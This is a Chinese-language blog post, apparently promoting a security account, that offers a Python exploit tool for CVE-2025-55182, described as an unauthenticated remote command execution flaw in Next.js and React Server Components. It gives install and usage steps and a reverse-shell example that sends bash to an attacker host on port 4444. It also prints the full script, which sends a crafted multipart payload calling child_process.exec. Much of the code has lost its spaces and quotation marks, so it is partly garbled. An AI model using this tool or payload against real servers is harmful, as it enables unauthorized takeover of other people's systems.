CVE-2025-55182 远程命令执行利用工具 | Next.js/React 未授权RCE漏洞

📅 发布时间:2026/7/16 14:07:59 👁️ 浏览次数:
CVE-2025-55182 远程命令执行利用工具 | Next.js/React 未授权RCE漏洞
CVE-2025-55182: Next.js/React 未授权远程命令执行漏洞利用工具高危漏洞 | 无需认证 | 一键RCE | 影响广泛本工具是针对CVE-2025-55182的概念验证PoC利用代码。该漏洞存在于 Next.js App Router 和 React Server Components 中是一个严重的未经身份验证的远程命令执行RCE漏洞。攻击者只需向特定的 Flight 端点发送一个特制的 multipart 请求即可在服务器上执行任意系统命令。✨ 功能特性无需认证直接利用无需 Cookie 或任何会话信息。一键命令执行通过简单的命令行参数指定目标和命令即可触发 RCE。广泛影响版本Next.js:14.3.0-canary.77→15.0.4,15.1.8,16.0.6及以下所有未打补丁的版本。React:19.0.0→19.2.0清晰的执行反馈显示目标、执行的命令、服务器 HTTP 状态码以及可能的响应内容。默认 Flight 端点自动使用 Next.js 默认的/_next/static/chunks/react-flight作为攻击入口。 安装指南系统要求Python 3.6 或更高版本requests库安装步骤克隆或下载脚本将CVE-2025-55182.py文件保存到您的本地目录。安装依赖使用 pip 安装所需的requests库pipinstallrequests 使用说明基础用法脚本通过命令行接收两个参数目标 URL和要执行的系统命令。python3 CVE-2025-55182.py目标URL命令典型使用场景场景一执行id命令测试目标服务器是否存在漏洞并获取当前运行用户的身份信息。python3 CVE-2025-55182.py https://vulnerable-app.comid场景二在本地开发环境执行whoami检查本机 Next.js 应用是否受影响。python3 CVE-2025-55182.py http://localhost:3000whoami场景三反弹 Shell (高危)警告此操作仅限在您拥有合法授权的环境中进行。攻击者可以利用此漏洞执行复杂的命令例如从远程服务器下载脚本或直接反弹 Shell。# 示例向攻击者服务器反弹 Shell (假设的命令)python3 CVE-2025-55182.py https://target.combash -i /dev/tcp/attacker-ip/4444 01输出示例成功利用时您将看到类似以下的输出[] CVE-2025-55182 Exploit [] Target : https://vulnerable-app.com [] Command : id [] Sending payload to https://vulnerable-app.com/_next/static/chunks/react-flight ... [] Payload delivered successfully! [] HTTP 200 – Command should have executed on the server [] Server response: uid1000(node) gid1000(node) groups1000(node) [] Done. Go check your listener / command output 核心代码以下是该利用工具的核心逻辑包含了构造恶意 Flight 有效负载的关键步骤。1. 核心利用函数发送恶意请求importrequestsimportsysimporturllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)defexploit(target_url,command): 核心利用函数向目标发送特制的 multipart 请求以触发 RCE。 Args: target_url (str): 目标网站的根 URL。 command (str): 要在目标服务器上执行的系统命令。 targettarget_url.rstrip(/)# 1. 目标端点所有 Next.js App Router 项目默认的 Flight 端点flight_endpointf{target}/_next/static/chunks/react-flight# 2. 构造恶意 Payload# 利用不安全的反序列化创建一个 Function 对象# 该 Function 内部通过 child_process.exec 执行系统命令。payloadf1{{__type:Function,code:global.process.mainModule.require(\child_process\).exec(\{command}\)}}# 3. 构造 multipart/form-data 请求体boundary----WebKitFormBoundaryCVE202555182body(f--{boundary}\r\nfContent-Disposition: form-data; name\0\\r\n\r\nf{payload}\r\nf--{boundary}--\r\n)headers{Content-Type:fmultipart/form-data; boundary{boundary},User-Agent:Mozilla/5.0 (CVE-2025-55182 PoC),Accept:*/*}print(f[] Sending payload to{flight_endpoint}...)try:# 4. 发送 POST 请求responserequests.post(flight_endpoint,databody,headersheaders,timeout15,verifyFalse)# 5. 解析并输出结果ifresponse.status_codein[200,400,404,500]:print([] Payload delivered successfully!)print(f[] HTTP{response.status_code}– Command should have executed on the server)iflen(response.text)0andlen(response.text)1000:print(f[] Server response:\n{response.text})else:print(f[-] Unexpected status code:,response.status_code)exceptExceptionase:print([-] Request failed:,e)2. 命令行参数解析与执行if__name____main__:# 简单的命令行参数处理iflen(sys.argv)3:print(CVE-2025-55182 – Unauthenticated RCE PoC)print(Usage: python3 CVE-2025-55182.py target_url command)print(Example: python3 CVE-2025-55182.py https://vuln.com \id\)print(Example: python3 CVE-2025-55182.py https://target.local:3000 \whoami\)sys.exit(1)target_urlsys.argv[1]commandsys.argv[2]print([] CVE-2025-55182 Exploit)print(f[] Target :{target_url})print(f[] Command :{command})# 调用核心利用函数exploit(target_url,command)print([] Done. Go check your listener / command output)FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIoTE3firf/5vX8AZ5DCjbu8G9XS6pgR58jcbcq 更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手 对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享